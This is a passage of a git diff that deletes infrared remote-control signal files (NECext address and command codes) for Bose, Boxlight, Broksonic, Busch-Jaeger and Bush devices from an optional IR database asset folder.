ASPECT_RATIO -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: DC 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: E0 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: E0 00 00 00 -# -name: NET_1 -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: F5 00 00 00 -# -name: NET_2 -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: F6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/System/186,85.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/System/186,85.ir deleted file mode 100644 index de227c554..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/System/186,85.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 01 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 02 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 03 00 00 00 -# -name: AM/FM -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 06 00 00 00 -# -name: SURROUND_- -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 0A 00 00 00 -# -name: SURROUND_+ -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 0B 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 0D 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 0E 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 0F 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 18 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 19 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 1A 00 00 00 -# -name: 2_SP -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 4B 00 00 00 -# -name: ON/OFF -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 4C 00 00 00 -# -name: 5_SP -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 4E 00 00 00 -# -name: 3_SP -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 4F 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 52 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 53 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 55 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 56 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 5C 00 00 00 -# -name: NEXT_DISC -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 5D 00 00 00 -# -name: MUTE_ALL -type: parsed -protocol: NECext -address: BA 55 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Tuner/186,85.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Tuner/186,85.ir deleted file mode 100644 index afb6e839b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Tuner/186,85.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 01 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 02 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 03 00 00 00 -# -name: AM/FM -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 06 00 00 00 -# -name: SURROUND_- -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 0A 00 00 00 -# -name: SURROUND_+ -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 0B 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 0D 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 0E 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 0F 00 00 00 -# -name: SKIP_FWD_>> -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 19 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 1A 00 00 00 -# -name: SPEAKER_STEREO -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 4B 00 00 00 -# -name: ON/OFF -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 4C 00 00 00 -# -name: MUTE_ALL -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 4D 00 00 00 -# -name: SPEAKER_SURROUND -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 4E 00 00 00 -# -name: SPEAKER_STEREO/CNTR -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 4F 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 52 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 53 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 55 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 56 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 5C 00 00 00 -# -name: NEXT_DISC -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Unknown_WAVERADIO/186,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Unknown_WAVERADIO/186,-1.ir deleted file mode 100644 index 77b24ac69..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Unknown_WAVERADIO/186,-1.ir +++ /dev/null @@ -1,110 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 01 00 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 02 00 00 00 -# -name: VOL+ -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 03 00 00 00 -# -name: STATION -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 04 00 00 00 -# -name: AM/FM -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 05 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 07 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 08 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 09 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 0A 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 0B 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 0C 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 0F 00 00 00 -# -name: TUNE+ -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 10 00 00 00 -# -name: TUNE- -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 11 00 00 00 -# -name: ALARM/TIME -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 12 00 00 00 -# -name: ALARM/WAKEUPTO -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 13 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 1E 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 4C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Unknown_Wave/-1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Unknown_Wave/-1,-1.ir deleted file mode 100644 index 97a26a9e0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Unknown_Wave/-1,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Alarm_Wake_To -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0E 00 00 00 -# -name: Alarm_Time -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0E 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: Tune_MP3_Up -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1A 00 00 00 -# -name: Time_Plus -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 24 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 24 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2A 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2A 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 30 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 32 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 40 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 40 00 00 00 -# -name: Alarm_On_Off -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 44 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 50 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 50 00 00 00 -# -name: X_KEY_EJECT_CD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 58 00 00 00 -# -name: Tune_MP3_Down -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 58 00 00 00 -# -name: FM_AM -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 60 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 60 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 60 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 60 00 00 00 -# -name: Time_Minus -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 79 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Boxlight/Projector/135,78.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Boxlight/Projector/135,78.ir deleted file mode 100644 index c4c395788..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Boxlight/Projector/135,78.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MENU -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 02 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 0D 00 00 00 -# -name: COMPUTER -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 19 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 1A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Boxlight/Projector/48,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Boxlight/Projector/48,-1.ir deleted file mode 100644 index 2ea42c2e9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Boxlight/Projector/48,-1.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 00 00 00 00 -# -name: D_ZOOM+ -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 01 00 00 00 -# -name: D_ZOOM- -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 02 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 05 00 00 00 -# -name: COMPUTER -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 07 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 1C 00 00 00 -# -name: NORMAL -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 1F 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 43 00 00 00 -# -name: ZOOM- -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 46 00 00 00 -# -name: ZOOM+ -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 47 00 00 00 -# -name: FOCUS+ -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 4A 00 00 00 -# -name: FOCUS- -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 4B 00 00 00 -# -name: AUTP_IMAGE -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 89 00 00 00 -# -name: NO_SHOW -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 8B 00 00 00 -# -name: KEYSTONE+ -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 8E 00 00 00 -# -name: KEYSTONE- -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 8F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Boxlight/Projector/48,206.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Boxlight/Projector/48,206.ir deleted file mode 100644 index af9823126..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Boxlight/Projector/48,206.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 30 CE 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Broksonic/VCR/128,123.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Broksonic/VCR/128,123.ir deleted file mode 100644 index 091680260..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Broksonic/VCR/128,123.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: RECORD -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 15 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 16 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 17 00 00 00 -# -name: FAST_FORWARD_>> -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 18 00 00 00 -# -name: REWIND_<< -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 19 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 1A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Busch-Jaeger/Elektro/29,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Busch-Jaeger/Elektro/29,-1.ir deleted file mode 100644 index 32eef6ff2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Busch-Jaeger/Elektro/29,-1.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ON_4_WS -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 31 00 00 00 -# -name: ON_4_WS_B -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 31 00 00 00 -# -name: OFF_4_WS -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 32 00 00 00 -# -name: OFF_4_WS_B -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 32 00 00 00 -# -name: ON_5_WS -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 35 00 00 00 -# -name: ON_5_WS_B -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 35 00 00 00 -# -name: OFF_5_WS -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 36 00 00 00 -# -name: OFF_5_WS_B -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 36 00 00 00 -# -name: MEMO -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 38 00 00 00 -# -name: MEMO_B -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 38 00 00 00 -# -name: ON_1_WS -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 39 00 00 00 -# -name: ON_1_WS_B -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 39 00 00 00 -# -name: OFF_1_WS -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 3A 00 00 00 -# -name: OFF_1_WS_B -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 3A 00 00 00 -# -name: ON_3_WS -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 3B 00 00 00 -# -name: ON_3_WS_B -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 3B 00 00 00 -# -name: OFF_3_WS -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 3C 00 00 00 -# -name: OFF_3_WS_B -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 3C 00 00 00 -# -name: ON_2_WS -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 3D 00 00 00 -# -name: ON_2_WS_B -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 3D 00 00 00 -# -name: OFF_2_WS -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 3E 00 00 00 -# -name: OFF_2_WS_B -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 3E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Busch-Jaeger/Elektro/30,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Busch-Jaeger/Elektro/30,-1.ir deleted file mode 100644 index d170f73db..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Busch-Jaeger/Elektro/30,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ON_9_BL -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 31 00 00 00 -# -name: ON_9_BL_B -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 31 00 00 00 -# -name: OFF_9_BL -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 32 00 00 00 -# -name: OFF_9_BL_B -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 32 00 00 00 -# -name: M1 -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 33 00 00 00 -# -name: M1_B -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 33 00 00 00 -# -name: M2 -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 34 00 00 00 -# -name: M2_B -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 34 00 00 00 -# -name: ON_10_BL -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 35 00 00 00 -# -name: ON_10_BL_B -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 35 00 00 00 -# -name: OFF_10_BL -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 36 00 00 00 -# -name: OFF_10_BL_B -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 36 00 00 00 -# -name: ON_6_BL -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 39 00 00 00 -# -name: ON_6_BL_B -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 39 00 00 00 -# -name: OFF_6_BL -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 3A 00 00 00 -# -name: OFF_6_BL_B -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 3A 00 00 00 -# -name: ON_8_BL -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 3B 00 00 00 -# -name: ON_8_BL_B -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 3B 00 00 00 -# -name: OFF_8_BL -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 3C 00 00 00 -# -name: OFF_8_BL_B -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 3C 00 00 00 -# -name: ON_7_BL -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 3D 00 00 00 -# -name: ON_7_BL_B -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 3D 00 00 00 -# -name: OFF_7_BL -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 3E 00 00 00 -# -name: OFF_7_BL_B -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 3E 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 3F 00 00 00 -# -name: POWER_B -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bush/Light/29,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bush/Light/29,-1.ir deleted file mode 100644 index ae852146d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bush/Light/29,-1.ir +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1_ON -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 39 00 00 00 -# -name: 1_OFF -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 3A 00 00 00 -# -name: 2_ON -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 3D 00 00 00 -# -name: 2_OFF -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 3E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 3E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bush/Unknown_4400/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bush/Unknown_4400/0,-1.ir deleted file mode 100644 index ba29c10eb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bush/Unknown_4400/0,-1.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: off -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: norm -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: clockon -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: white -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 -# -name: menu-off -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bush/Unknown_DFTA1xi/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bush/Unknown_DFTA1xi/8,-1.ir deleted file mode 100644 index aa23bdd21..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bush/Unknown_DFTA1xi/8,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 09 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0D 00 00 00 -# -name: tvdtv -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 10 00 00 00 -# -name: X_KEY_VOLUMENDOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 11 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 12 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 13 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 14 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 15 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 16 00 00 00 -# -name: wide -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 21 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 22 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 32 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 34 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 35 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 36 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 37 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 3C 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bush/Unknown_WS6680/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bush/Unknown_WS6680/0,-1.ir deleted file mode 100644 index 233c4381f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bush/Unknown_WS6680/0,-1.ir +++ /dev/null @@ -1,230 +0,0 